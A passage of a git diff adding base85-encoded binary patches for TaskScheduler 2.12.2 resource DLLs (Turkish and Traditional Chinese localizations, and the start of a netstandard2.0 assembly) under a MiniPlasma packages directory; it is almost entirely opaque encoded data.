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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..72647a5319d2302e709545f55c9a292f37d392e7 GIT binary patch literal 10240 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 Cex0xY literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..d93fa155b83e32dc7fe7ed6b22d3aeae9ebc198f GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 